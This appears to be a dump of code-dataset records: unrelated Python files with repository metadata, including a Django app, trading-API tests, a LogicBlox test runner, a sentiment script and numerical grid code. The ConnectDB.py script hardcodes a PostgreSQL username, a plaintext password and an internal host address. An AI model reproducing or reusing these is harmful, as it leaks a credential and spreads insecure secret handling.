next_event = AbilityResult(event, result)
self._event_notify(next_event)
# -------------------------------------------------------------------------
# System Ticks
# -------------------------------------------------------------------------
def _update_pre(self) -> VerediHealth:
'''
Pre-update. For any systems that need to squeeze in something just
before actual tick.
'''
health = VerediHealth.HEALTHY
# TODO: implement or remove from self._ticks.
self.health = health
return self.health
def _update(self) -> VerediHealth:
'''
Normal/Standard upate. Basically everything should happen here.
'''
health = VerediHealth.HEALTHY
# TODO: implement or remove from self._ticks.
self.health = health
return self.health
def _update_post(self) -> VerediHealth:
'''
Post-update. For any systems that need to squeeze in something just
after actual tick.
'''
health = VerediHealth.HEALTHY
# TODO: implement or remove from self._ticks.
self.health = health
return self.health
| [
"[email protected]"
] | |
a92fa7c07cd12baeeb74c5518d039a1c5a6fbeff | 845c02934b4fcb6cb28e37103c3e426c410c9892 | /Lecture-03/ConnectDB.py | 64afbf3902ca0b3115a9b6afca40e57d70cf1084 | [] | no_license | wongsapat-pr/AdvancedWeb | 56a8c29eed80a2e0f9160383b5c6ec5df3b0ab03 | 24ef83760363f20b4dd51c1ea31ccf60a38d65f2 | refs/heads/main | 2023-04-17T19:42:15.780863 | 2021-05-04T15:49:56 | 2021-05-04T15:49:56 | 326,877,430 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 948 | py | import psycopg2
try:
connection = psycopg2.connect(user="webadmin",
password="FFGqce84823",
host="10.100.2.174",
# host="node8579-advweb-12.app.ruk-com.cloud",
port="5432",
# port="11102",
database="CloudDB")
cursor = connection.cursor()
#print PostgreSQL Connection properties
print(connection.get_dsn_parameters(),"\n")
#print postgreSQL version
cursor.execute("SELECT version();")
record = cursor.fetchone()
print("You are connected to - ", record, "\n")
except (Exception, psycopg2.Error) as error:
print("Error while connecting to PostgreSQL", error)
finally:
#closing database connection.
if(connection):
cursor.close()
connection.close()
print("PostgreSQL connection is closed") | [
"[email protected]"
] | |
c1673e0a39eae6736f2cf4df60bc1e6d3132df78 | eb9f655206c43c12b497c667ba56a0d358b6bc3a | /python/testData/keywordCompletion/yield.after.py | b433c053cd2b1fe722c3e70664bfbf5a72d6c529 | [
"Apache-2.0"
] | permissive | JetBrains/intellij-community | 2ed226e200ecc17c037dcddd4a006de56cd43941 | 05dbd4575d01a213f3f4d69aa4968473f2536142 | refs/heads/master | 2023-09-03T17:06:37.560889 | 2023-09-03T11:51:00 | 2023-09-03T12:12:27 | 2,489,216 | 16,288 | 6,635 | Apache-2.0 | 2023-09-12T07:41:58 | 2011-09-30T13:33:05 | null | UTF-8 | Python | false | false | 29 | py | def foo():
yield <caret>
| [
"[email protected]"
] | |
b4b9f4802a7b1e3c514023f0dd5671feddc253ca | 3bc523fcde3d8b74daf287f0b92eab4c3e1d8e7d | /schedules/views.py | 1235a36ad5097946e8e0c5b31f89eefba41d4462 | [] | no_license | paklam255/passport_project | d181faf2c04106fa788cf4448d588155e33145ee | c0b4206c8e6e43456f5ba9838634b2985a670952 | refs/heads/master | 2022-10-29T09:35:42.076664 | 2020-06-18T00:28:40 | 2020-06-18T00:28:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,345 | py | from django.shortcuts import render
from .models import Schedule
#NOTE: pendingList and scheduleList are the only views I have worked on,
# the rest of these only lead to blank templates that extend the base.
def index(request):
return render(request, 'schedule/index.html')
def scheduleList(request):
mylist = Schedule.objects.filter(approved=True)
actions = {'update', 'delete'}
context = {
'listType' : 'schedule',
'list': mylist,
'actions': actions
}
return render(request, 'schedules/lists.html', context)
def pendingList(request):
mylist = Schedule.objects.filter(approved=False)
actions = {'approve', 'update', 'delete'}
context = {
'listType' : 'Pending',
'list' : mylist,
'actions' : actions
}
return render(request, 'schedules/lists.html', context)
def daily(request):
return render(request, 'schedules/daily.html')
def weekly(request):
return render(request, 'schedules/weekly.html')
def officeSchedule(request):
return render(request, 'schedules/officeSchedule.html')
def yearlySchedule(request):
return render(request, 'schedules/yearlySchedule.html')
def startOne(request):
return render(request, 'schedules/startOne.html')
def help(request):
return render(request, 'schedules/help.html')
| [
"[email protected]"
] | |
775efb4eabd371eb9918dfd2e1a05bb8385ea350 | d3efc82dfa61fb82e47c82d52c838b38b076084c | /Autocase_Result/KCB_YCHF/KCB_YCHF_MM/SHOffer/YCHF_KCBYCHF_SHBP_265.py | 763c7ad27ec11b0b8bdece028c4d1d7035c16acb | [] | no_license | nantongzyg/xtp_test | 58ce9f328f62a3ea5904e6ed907a169ef2df9258 | ca9ab5cee03d7a2f457a95fb0f4762013caa5f9f | refs/heads/master | 2022-11-30T08:57:45.345460 | 2020-07-30T01:43:30 | 2020-07-30T01:43:30 | 280,388,441 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,583 | py | #!/usr/bin/python
# -*- encoding: utf-8 -*-
import sys
sys.path.append("/home/yhl2/workspace/xtp_test//xtp/api")
from xtp_test_case import *
sys.path.append("/home/yhl2/workspace/xtp_test//service")
from ServiceConfig import *
from ARmainservice import *
from QueryStkPriceQty import *
from log import *
sys.path.append("/home/yhl2/workspace/xtp_test//mysql")
from CaseParmInsertMysql import *
from SqlData_Transfer import *
sys.path.append("/home/yhl2/workspace/xtp_test//utils")
from QueryOrderErrorMsg import queryOrderErrorMsg
from env_restart import *
class YCHF_KCBYCHF_SHBP_265(xtp_test_case):
def setUp(self):
#sql_transfer = SqlData_Transfer()
#sql_transfer.transfer_fund_asset('YCHF_KCBYCHF_SHBP_265')
#clear_data_and_restart_all()
#Api.trade.Logout()
#Api.trade.Login()
pass
#
def test_YCHF_KCBYCHF_SHBP_265(self):
title = '断开上海报盘网络连接（沪A对手方最优转限价：分笔成交_累积成交金额 >= 手续费 且手续费大于最小值）'
# 定义当前测试用例的期待值
# 期望状态：初始、未成交、部成、全成、部撤已报、部撤、已报待撤、已撤、废单、撤废、内部撤单
# xtp_ID和cancel_xtpID默认为0，不需要变动
case_goal = {
'期望状态': '全成',
'errorID': 0,
'errorMSG': queryOrderErrorMsg(0),
'是否生成报单': '是',
'是否是撤废': '否',
# '是否是新股申购': '',
'xtp_ID': 0,
'cancel_xtpID': 0,
}
logger.warning(title)
# 定义委托参数信息------------------------------------------
# 参数：证券代码、市场、证券类型、证券状态、交易状态、买卖方向（Ｂ买Ｓ卖）、期望状态、Api
stkparm = QueryStkPriceQty('688011', '1', '4', '2', '0', 'S', case_goal['期望状态'], Api)
# 如果下单参数获取失败，则用例失败
if stkparm['返回结果'] is False:
rs = {
'报单测试结果': stkparm['返回结果'],
'测试错误原因': '获取下单参数失败,' + stkparm['错误原因'],
}
print(stkparm['错误原因'])
self.assertEqual(rs['报单测试结果'], True)
else:
wt_reqs = {
'business_type': Api.const.XTP_BUSINESS_TYPE['XTP_BUSINESS_TYPE_CASH'],
'order_client_id':5,
'market': Api.const.XTP_MARKET_TYPE['XTP_MKT_SH_A'],
'ticker': stkparm['证券代码'],
'side': Api.const.XTP_SIDE_TYPE['XTP_SIDE_SELL'],
'price_type': Api.const.XTP_PRICE_TYPE['XTP_PRICE_REVERSE_BEST_LIMIT'],
'price': stkparm['涨停价'],
'quantity': 30000,
'position_effect':Api.const.XTP_POSITION_EFFECT_TYPE['XTP_POSITION_EFFECT_INIT']
}
rs = serviceTest(Api, case_goal, wt_reqs)
logger.warning('执行结果为' + str(rs['报单测试结果']) + ','
+ str(rs['用例错误源']) + ',' + str(rs['用例错误原因']))
## 还原可用资金
#sql_transfer = SqlData_Transfer()
#sql_transfer.transfer_fund_asset('YW_KCB_BAK_000')
#oms_restart()
self.assertEqual(rs['报单测试结果'], True) # 211
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
0ddd94314b9764ba7209e5093cab3cebff50ffdf | 3ae51d11cb0ffed76628ed194e7de8edaa6c1568 | /lib/logicblox/lib/python/lbunit/lb_unit.py | 592b09b899f36d83872f08472df99d8bf1163347 | [] | no_license | croft/netgen | c10e6c48379d284c8022f7a3b2c626e7863bf748 | db567686e37a1bc7932dc663b5742e50ce99f11d | refs/heads/master | 2021-03-19T16:23:11.554922 | 2017-01-24T10:23:13 | 2017-01-24T10:23:13 | 106,628,296 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,302 | py | """
Copyright 2013 LogicBlox, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or
without modification, are permitted provided that the following
conditions are met:
Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
Neither the name of LogicBlox nor the names of its contributors
may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
"""
import sys
import os
import threading
import Queue
from cStringIO import StringIO
import time
import tempfile
import socket
import blox.connect.io
from cli import lb_exception
import lb_unit_common
from lb_unit_common import State
class ThreadTest(threading.Thread):
def __init__(self, queue, error_list, count_dict, no_clean_up=False):
threading.Thread.__init__(self)
self.queue = queue
self.error_list = error_list
self.count_dict = count_dict
self.no_clean_up = no_clean_up
def run(self):
""" takes Test object from the queue and runs it """
## importing this here so that we don't have to depend on readlines module
## for build, only for testing
from interactive import lb_interactive_console
while True:
try:
test_object = self.queue.get()
# initialize interactive object
interactive_ = lb_interactive_console.LbInteractive(
stdout=StringIO(),use_rawinput=False, dev=True)
interactive_.set_current_directory(os.path.abspath(os.path.dirname(test_object.test_file)))
# run setup
if test_object.set_up:
lb_unit_common.run_file(test_object.set_up,
interactive_, test_object,
comment=test_object.test_file)
# If setup does not generate errors, run test file
if test_object.state == State.SUCCESS:
interactive_.clear_variables()
if test_object.concurrent:
raise lb_exception.LBCommandError("concurrent tests are no longer supported")
else:
lb_unit_common.run_file(test_object.test_file,
interactive_, test_object)
finally:
# run teardown
if test_object.tear_down and not self.no_clean_up:
interactive_.clear_variables()
lb_unit_common.run_file(test_object.tear_down,
interactive_, test_object,
comment=test_object.test_file)
if len(test_object.messages) != 0:
self.error_list.append(test_object.messages)
self.count_dict[test_object.state] += 1
test_object.test_report()
self.queue.task_done()
self.queue.count -= 1
class Test(object):
default_set_up = None
default_tear_down = None
print_function = None
print_progress = False
print_time = False
def __init__(self,test_file,set_up=None,tear_down=None,concurrent=False):
self.test_file = test_file
self.set_up = (set_up if set_up
!= None else self.default_set_up)
self.tear_down = (tear_down if tear_down
!= None else self.default_tear_down)
self.concurrent = concurrent
self.testtimer = 0
self.state = State.SUCCESS
self.messages = []
self.task_done = False
def test_report(self):
"""print out report after test has finished"""
if self.print_progress or self.print_time:
testtime = ''
if self.state == State.SUCCESS:
testresult = '\tSuccess'
elif self.state == State.FAILURE:
testresult = '\tFailure'
else:
testresult = '\tError'
if self.print_time:
if self.state == State.SUCCESS:
testtime = ', ran in %.5f secs' % self.testtimer
else:
testtime = ', did not complete'
self.print_function.write('%s%s%s\n' % (self.test_file,
testresult, testtime))
self.print_function.flush()
else:
self.print_function.write(self.state)
self.print_function.flush()
def add_all_tests(args, test_queue):
"""given args, add all specified tests into test_queue"""
if args.excludeTest == None:
args.excludeTest = []
if args.exclude == None:
args.exclude = []
# add suiteDirs
if args.suiteDir != None:
for suite_dir in args.suiteDir:
add_dir(suite_dir, args, test_queue, recurse=True)
# add suites
if args.suite != None:
for suite in args.suite:
add_dir(suite, args, test_queue, recurse=False)
# add individual tests
if args.test != None:
for test_file in args.test:
test_file = test_file.rstrip('/')
if os.path.exists(test_file) and test_file not in args.excludeTest:
if os.path.isfile(test_file):
test_queue.put(test_to_test(test_file))
test_queue.count += 1
elif os.path.basename(test_file).startswith("concurrent"):
test_queue.put(test_to_test(test_file, concurrent=True))
test_queue.count += 1
else:
print "Invalid file %s specified" % test_file
# if none of the above conditions hold, find all suites in current directory
if args.suiteDir == None and args.suite == None and args.test == None:
add_dir(".", args, test_queue, recurse=True)
def add_dir(directory, args, test_queue, recurse=False):
"""add all tests from directory to test_queue"""
# check directory exists
if os.path.exists(directory) and os.path.isdir(directory):
test_list = dir_to_tests(directory,
args.excludeTest,
args.exclude,
recurse,
args.noIgnore)
for test in test_list:
test_queue.put(test)
test_queue.count += 1
else:
print "Invalid suite directory %s specified" % directory
def dir_to_tests(directory, excluded_tests, excluded_suites, recurse, no_ignore=False):
"""takes a directory, returns a list of Test objects"""
tests = []
# if this suite is somehow ignored, return empty list
if ("suite.ignore" in os.listdir(directory) and not no_ignore) or directory in excluded_suites:
return tests
# loop through every file/dir in the directory
for s in os.listdir(directory):
spath = os.path.join(directory, s)
# if directory
if os.path.isdir(spath):
if s.startswith("concurrent"):
tests.append(test_to_test(spath, concurrent=True))
elif spath not in excluded_suites and recurse:
tests.extend(dir_to_tests(spath,
excluded_tests,
excluded_suites,
recurse,
no_ignore))
# if file
elif s.endswith(".lb") and not(s.startswith("setUp") or s.startswith("tearDown")):
if spath not in excluded_tests:
tests.append(test_to_test(spath))
return tests
def test_to_test(test, concurrent=False):
"""given a test path, returns Test object"""
dir_path = os.path.dirname(test)
if not dir_path:
dir_path = "."
files = os.listdir(dir_path)
set_up = None
tear_down = None
if "setUp.lb" in files:
set_up = os.path.join(dir_path, "setUp.lb")
if "tearDown.lb" in files:
tear_down = os.path.join(dir_path, "tearDown.lb")
return Test(test, set_up, tear_down, concurrent)
def get_line(file_path, line_number):
with open(file_path) as f:
for num, line in enumerate(f, 1):
if num == line_number:
return line.strip()
def print_summary(count_dict, error_list):
run_total = count_dict[State.SUCCESS] + count_dict[State.ERROR] + count_dict[State.FAILURE]
# if no tests ran
if run_total == 0:
print "\nNo tests run."
return
# print each error
for i, test_result in enumerate(error_list):
print "\n%i)" % (i+1),
for j, error in enumerate(test_result):
print "test: %s" % error.test_name,
if error.comment:
print "( %s )" % error.comment,
print "\n(%s) line %i: \"%s\"" % (error.__class__.__name__,
error.line_num,
get_line(error.test_name, error.line_num))
print "%s: %s" % (error.type, error.details)
failure = "!!!FAILURES!!!\n" if count_dict[State.ERROR]+count_dict[State.FAILURE] != 0 else "OK\n"
# results
print "\n_________\n\n%sTest Results:\nRun:%i\tFailures:%i\tErrors:%i\n" % \
(failure, run_total, count_dict[State.FAILURE], count_dict[State.ERROR])
def print_list(test_queue):
"""print out list of tests. used for the --list option"""
curr_suite = None
while not test_queue.empty():
test = test_queue.get()
suite_path = os.path.dirname(test.test_file)
test_name = test.test_file.replace(suite_path, '')
if suite_path != curr_suite:
curr_suite = suite_path
print '%s' % curr_suite
print '\t%s' % test_name
return
def main(args=None, supp_int_stdout=True, supp_int_stderr=True, supp_test_report=False):
"""
runs set of tests given optional 'args' argument or takes from command line.
optional 'suppress' argument for suppressing output from interactive REPL
"""
# supp_int_stdout, supp_int_stderr suppress any output from running tests
# so that only test results are printed
# by default they are True
# supp_test_report suppresses output from results printed between tests
# such as progress and time, however the summary is still printed
# by default this is False
#Check that lb services is started
conn = blox.connect.io.Connection(False)
try:
conn.open()
except Exception:
raise lb_exception.LBServerOff()
start_time = time.time()
thread_count = 1
test_queue = Queue.Queue()
test_queue.count = 0
error_list = []
count_dict = {State.SUCCESS: 0, State.FAILURE: 0, State.ERROR: 0}
stdout_orig = sys.stdout
stderr_orig = sys.stderr
Test.print_function = sys.stdout
if args.defaultFixtures:
# create default setup and teardown
setup = tempfile.NamedTemporaryFile(delete=False)
setup.write('create --unique')
setup.close()
teardown = tempfile.NamedTemporaryFile(delete=False)
teardown.write('close --destroy')
teardown.close()
Test.default_set_up = setup.name
Test.default_tear_down = teardown.name
# find suites and tests from command line arguments
add_all_tests(args, test_queue)
# if list option, print tests and then return
if args.list:
print_list(test_queue)
return
# suppress stdout and stderr from interactive
if supp_int_stdout:
sys.stdout = StringIO()
if supp_int_stderr:
sys.stderr = StringIO()
if supp_test_report:
Test.print_function = StringIO()
# set thread count
if args.sequential:
thread_count = 1
elif args.threads != None:
thread_count = args.threads
# spawn a pool of threads, and pass them queue instance
for i in range(int(thread_count)):
thread = ThreadTest(test_queue, error_list, count_dict,
args.noCleanup)
thread.setDaemon(True)
thread.start()
Test.print_progress = args.progress
Test.print_time = args.time
# wait on the queue until everything has been processed
while test_queue.count != 0:
try:
conn.open()
time.sleep(0.1)
except socket.error:
raise lb_exception.LBServerOff()
Test.default_set_up = None
Test.default_tear_down = None
# restore stdout and stderr
sys.stdout = stdout_orig
sys.stderr = stderr_orig
print_summary(count_dict, error_list)
print 'Script Elapsed Time: %.5fs' % (time.time() - start_time)
if error_list:
raise lb_exception.LBCommandError("%s errors detected." % len(error_list))
| [
"[email protected]"
] | |
03901966646a65e6c537ecdc2f9da3c7a9a4a3be | ea8294e31f1bcda2f1cbdf32238089a85371e943 | /Desktop/AtCoder/ABC/ABC061.py | b8a2376612a4fcdb424d7434c0682b76e8b7e3cc | [] | no_license | kites7483/AtCoder | 3e0b7629dbb4165e5461a5390e7a909d7cd239da | 5180232cfd28883cc372477521a8f0803201059d | refs/heads/master | 2023-06-07T22:29:19.260077 | 2021-06-29T06:33:05 | 2021-06-29T06:33:05 | 298,764,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 672 | py | #ABC061(A〜D) A,B,C 完
#A - Between Two Integers
a,b,c = map(int,input().split())
if a <= c and b >= c:
print('Yes')
else:
print('No')
#B - Counting Roads
n,m = map(int, input().split())
ans = [0 for i in range(n)]
for j in range(m):
a,b = map(int, input().split())
ans[a-1] += 1
ans[b-1] += 1
for i in range(n):
print(ans[i])
#C - Big Array
n,k = map(int,input().split())
number_list = [0 for i in range(10**5+1)]
for i in range(n):
a,b = map(int,input().split())
number_list[a] += b
for i in range(10**5):
number_list[i+1] += number_list[i]
for i in range(10**5):
if number_list[i] < k and k <= number_list[i+1]:
print(i+1)
exit() | [
"[email protected]"
] | |
0d44f48b1c1f882c991df426abca1467e51dad15 | c8d01a1a4f67b7ec6d67588169ceb9abc8d0c985 | /CS50x/pset6/sentiments/tweets | ad7fd098e74b921652891f1671d36be1cac2d845 | [] | no_license | csouto/samplecode | 2f7057016d51373a58df81893b9b8916caf484f9 | c91364a272a9091819ee0a45145ed4ccf231e6c8 | refs/heads/master | 2020-03-29T17:15:06.539112 | 2019-05-24T16:03:55 | 2019-05-24T16:03:55 | 150,152,024 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,150 | #!/usr/bin/env python3
import os
import sys
import nltk
import helpers
from analyzer import Analyzer
from termcolor import colored
def main():
# Ensure proper usage.
if len(sys.argv) != 2:
sys.exit("Usage: ./tweets username")
# Absolute paths to lists.
positives = os.path.join(sys.path[0], "positive-words.txt")
negatives = os.path.join(sys.path[0], "negative-words.txt")
# Get user's tweets, store on a list named tweets. Exit program if it fails.
tweets = helpers.get_user_timeline(sys.argv[1], 50)
if tweets == None:
sys.exit("Could not retrieve tweets.")
# Initiate analyzer.
analyzer = Analyzer(positives, negatives)
# Iterave over each tweet, analyze it and print score with matching color.
for tweet in tweets:
score = analyzer.analyze(tweet)
if score > 0:
print(colored(score, "green"), colored(tweet, "green"))
elif score < 0:
print(colored(score, "red"), colored(tweet, "red"))
else:
print(colored(score, "yellow"), colored(tweet, "yellow"))
if __name__ == "__main__":
main()
| [
"[email protected]"
] | ||
a95d63bd44731d74fdd4dfcda3d85c252414db0f | aa39a57fe0413649a3c1088a385811d45eb24356 | /numpyTest01.py | 920f983fbad80b76343751b1394ab37f6fd093e3 | [] | no_license | Gino-Y/pythonProject | 0c43137d8fc7bcd9f5a0a66ac6126f83aeec0293 | 4a3d591ff62050fd252c8569fc0152930e2efc22 | refs/heads/master | 2023-08-06T04:58:07.341803 | 2021-09-16T07:48:41 | 2021-09-16T07:48:41 | 401,197,132 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 210 | py | import numpy as np
array = np.array([[1, 2, 3],
[4, 5, 6],
[7, 8, 9]])
print(array)
print(array.ndim) #维度
print(array.shape) #行列数
print(array.size) #元素数
| [
"Gino-Y"
] | Gino-Y |
12a1fc3b8e2084188863872b2b97d988ac33c670 | 1e82a29a7e21738ddfc1852f0cf542abf3c6d999 | /app/core/migrations/0001_initial.py | 4b2527036434bc8485abed476fd304368b1d1844 | [
"MIT"
] | permissive | kacperstasica/recipe-app-api | 9ababc9ceac13bc6ed43a595a2918191218b8b6c | 5022a0fdabdc1802ce3b31f370a744949e0b41ae | refs/heads/main | 2023-04-12T08:22:48.848623 | 2021-04-29T10:34:19 | 2021-04-29T10:34:19 | 356,244,315 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,709 | py | # Generated by Django 2.1.15 on 2021-04-10 16:46
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0009_alter_user_last_name_max_length'),
]
operations = [
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('password', models.CharField(max_length=128, verbose_name='password')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')),
('is_superuser', models.BooleanField(default=False, help_text='Designates that this user has all permissions without explicitly assigning them.', verbose_name='superuser status')),
('email', models.EmailField(max_length=255, unique=True)),
('name', models.CharField(max_length=255)),
('is_active', models.BooleanField(default=True)),
('is_staff', models.BooleanField(default=False)),
('groups', models.ManyToManyField(blank=True, help_text='The groups this user belongs to. A user will get all permissions granted to each of their groups.', related_name='user_set', related_query_name='user', to='auth.Group', verbose_name='groups')),
('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.Permission', verbose_name='user permissions')),
],
options={
'abstract': False,
},
),
]
| [
"[email protected]"
] | |
1e01d43d0958c43c524a4c81aba253f7862374d6 | 380e44f98dc86c601abc186ab6285b9719bd3fd0 | /py/igLineProjector.py | 9a977a022a748ed3584b3405c92661b73cf40b03 | [] | no_license | pletzer/inugrid | b2ada53595963045f202214b25b403feaaa538a7 | 383bfa5e8b450eda0cbc6bdebf092e81712034e4 | refs/heads/master | 2021-01-02T23:02:47.039419 | 2019-06-01T23:48:38 | 2019-06-01T23:48:38 | 99,451,385 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,623 | py | import vtk
import numpy
import math
from igBasisFunctionIntegral import BasisFunctionIntegral
from igCellLineIntersector import CellLineIntersector
class LineProjector:
"""
Class to compute the projection of a 1-form onto a target line
"""
# to handle floating point comparisons
EPS = 1.2323435e-14
def __init__(self, grid, integralFunction):
"""
Constructor
@param grid instance of vtkUnstructuredGrid
@param integralFunction function of (lam0, the0, lam1, the1)
used to set the edge values
"""
self.grid = grid
self.integralFunction = integralFunction
# array of positions
self.lineSegments = []
self.totalProjection = 0.0
# to find the cells of self.grid that are intersected by the line
self.cellLoc = vtk.vtkCellLocator()
self.cellLoc.SetDataSet(self.grid)
self.cellLoc.BuildLocator()
def setLine(self, lamThes):
"""
Set the closed line
@param lamThes [(lam, the), ...]
"""
self.lineSegments = numpy.array([(lt[0], lt[1], 0.0) for lt in lamThes])
def project(self):
"""
Compute the projection
@return value
"""
self.totalProjection = 0.0
# line parametric coordinates, will be filled in by
# the line-cell intersector
tBeg = vtk.mutable(-1.)
tEnd = vtk.mutable(-1.)
# parametric start/end points in the cell
# these will be filled in by the intersector
xiBeg = numpy.zeros((2,), numpy.float64) # 2D
xiEnd = numpy.zeros((2,), numpy.float64) # 2D
# to find the intersection between a quad and a line
intersector = CellLineIntersector()
# number of segments
nSegs = self.lineSegments.shape[0] - 1
# contribution from each line segment
self.contributions = []
# iterate over the segments of the line
for iSeg in range(nSegs):
# starting point of segment
a = self.lineSegments[iSeg , :]
# end point of segement
b = self.lineSegments[iSeg + 1, :]
# get the lon/lat
lamA, theA = a[:2]
lamB, theB = b[:2]
intersector.setSphericalLine(lamA, theA, lamB, theB)
# (tBeg, tEnd): integral
segment2Integral = {}
# iterate over the grid cells that are (likely) intersected
# by the line segment a -> b
for cellId in self._findCells(a, b):
cell = self.grid.GetCell(cellId)
ptIds = cell.GetPointIds()
# get the vertices of the quad
lt0, lt1, lt2, lt3 = (self.grid.GetPoint(ptIds.GetId(i)) for i in range(4))
lam0, the0 = lt0[:2]
lam1, the1 = lt1[:2]
lam2, the2 = lt2[:2]
lam3, the3 = lt3[:2]
# find the shortest path from lam0
twopi = 2. * numpy.pi
lam1 = self._modulo(lam0, lam1, twopi)
lam2 = self._modulo(lam0, lam2, twopi)
lam3 = self._modulo(lam0, lam3, twopi)
intersector.setSphericalCell(lam0, the0, lam1, the1, lam2, the2, lam3, the3)
intersector.findParametricIntersection(tBeg, xiBeg, tEnd, xiEnd)
if tEnd.get() > tBeg.get() + self.EPS:
segment2Integral[tBeg.get(), tEnd.get()] = self._computeIntegral(ptIds, xiBeg, xiEnd)
self.contributions.append(segment2Integral)
self.totalProjection = self._addContributions()
return self.totalProjection
def _modulo(self, baselam, lam, periodicity):
"""
Choose th emodulo operation that returns the shorted distance of
lam form baselam
@param baselam base value
@param lam value
@param periodicity
"""
dlam = numpy.array([(lam - periodicity - baselam)**2,
(lam - baselam)**2,
(lam + periodicity - baselam)**2])
return lam + (dlam.argmin() - 1)*periodicity
def _computeIntegral(self, ptIds, xiBeg, xiEnd):
"""
Compute the integral contribution from line in cell
@param ptIds instnce of vtkIdList, set of point Ids
@param xiBeg starting position in parametric space
@param xiEnd end position in index parametric space
"""
# create basis function integrator object
basisIntegrator = BasisFunctionIntegral(xiBeg, xiEnd)
integral = 0.0
numPts = 4
# iterate over the edges
for i0 in range(numPts):
i1 = (i0 + 1) % numPts
ptId0, ptId1 = ptIds.GetId(i0), ptIds.GetId(i1)
lt0, lt1 = self.grid.GetPoint(ptId0), self.grid.GetPoint(ptId1)
# assume counterclockwise orientation
lineIntegral= self.integralFunction(lt0[0], lt0[1], lt1[0], lt1[1])
# update the line integral for edge i0
integral += lineIntegral * basisIntegrator(i0)
return integral
def _findCells(self, a, b):
"""
Find all the cells intersected by the line that goes through two points
@param a starting point
@param b end point
@return list of cells
"""
cellIds = vtk.vtkIdList()
tol = 1.e-3
self.cellLoc.FindCellsAlongLine(a, b, tol, cellIds)
numCells = cellIds.GetNumberOfIds()
return [cellIds.GetId(i) for i in range(numCells)]
def _addContributions(self):
"""
Add the contributions, taking care of duplicates
@return total line integral
"""
totalIntegral = 0.0
iSeg = 0
for segment2Integral in self.contributions:
# the starting and end parametric coordinates of the
# segment always start from 0 and should finish at 1.0
totalT = 0.0
currentTEnd = -float('inf')
# sort the keys
tBegEnd = sorted(segment2Integral)
for tBeg, tEnd in tBegEnd:
if tBeg > currentTEnd - self.EPS:
totalIntegral += segment2Integral[tBeg, tEnd]
totalT += tEnd - tBeg
currentTEnd = tBeg
try:
assert abs(1.0 - totalT) < 1000*self.EPS
except:
print('ERROR the integrated parametric coordinate "t" for segment {} amounts to {} != 1 (diff {})'.format(\
iSeg, totalT, 1. - totalT))
print(' This indicates that some segments are not properly accounted for.')
print(' segment2Integral = {}'.format(segment2Integral))
raise RuntimeError, 'FATAL'
iSeg += 1
return totalIntegral
###############################################################################
def psi(lon, lat):
# potential function
# lon: longitude in rad
# lat: latitude in rad
return lon/(2.0 * numpy.pi)
# define form
def edgeIntegral(lona, lata, lonb, latb):
"""
Compute the value attached to an edge
"""
return psi(lonb, latb) - psi(lona, lata)
def testPole():
from igLatLon import LatLon
# create grid
nlat, nlon = 2, 4
sphere = LatLon(numLats=nlat, numLons=nlon, radius=1.0,
coords='spherical')
sphere.save('testPole.vtk')
grd = sphere.getUnstructuredGrid()
# compute vorticity
vort = LineProjector(grd, edgeIntegral)
lamA, theA = 0.0, math.pi/5.
lamB, theB = 2*math.pi/4., math.pi/5.
vort.setLine([(lamA, theA), (lamB, theB)])
totVort = vort.project()
exact = psi(lamB, theB) - psi(lamA, theA)
print('testPole: total integral = {} exact = {}'.format(totVort, exact))
# check
assert abs(totVort - exact) < 1.e-10
def testCubedSphere():
from igCubedSphere import CubedSphere
# create grid
sphere = CubedSphere(numCellsPerTile=10, radius=1.0, coords='spherical')
grd = sphere.getUnstructuredGrid()
# compute vorticity
vort = LineProjector(grd, edgeIntegral)
lamA, theA = 0.0, math.pi/5.
lamB, theB = 2*math.pi, math.pi/5.
vort.setLine([(lamA, theA), (lamB, theB)])
totVort = vort.project()
exact = psi(lamB, theB) - psi(lamA, theA)
print('testPole: total integral = {} exact = {}'.format(totVort, exact))
# check
assert abs(totVort - exact) < 1.e-10
if __name__ == '__main__':
testPole()
| [
"[email protected]"
] | |
b9ac01254d0a992c9d1ef8eb71acdba6ec6e541e | 1e5aacb61c07b3c24147b886ec7c70b61ed52037 | /lab7/PetriElements.py | 82d42007ffc530a36bffa79e79ad15da5fe94d25 | [] | no_license | yuliia43/MS | 770079cc5e034416637f5edbe66845b8bebebe25 | 4a047d5e5cf67cc634f144e880e926a59f1262c7 | refs/heads/main | 2023-01-11T08:01:37.981484 | 2020-11-11T12:55:19 | 2020-11-11T12:55:19 | 306,315,858 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,687 | py | import numpy as np
class Place:
place_id = 1
min_markers = 100000000000000000000
max_markers = 0
avg_markers = 0
changes_count = 0
def __init__(self, markers=0, name=None):
self.__markers = markers
self.min_markers = 100000000000000000000
self.max_markers = 0
self.avg_markers = 0
self.changes_count = 0
if name is None:
self.name = 'P'+ str(Place.place_id)
Place.place_id += 1
else:
self.name = name
self.count_statistic()
def increase_markers(self, delta):
self.__markers += delta
self.count_statistic()
def decrease_markers(self, delta):
self.__markers -= delta
self.count_statistic()
def get_markers(self):
return self.__markers
def count_statistic(self):
Place.min_markers = min(self.__markers, Place.min_markers)
Place.max_markers = max(self.__markers, Place.max_markers)
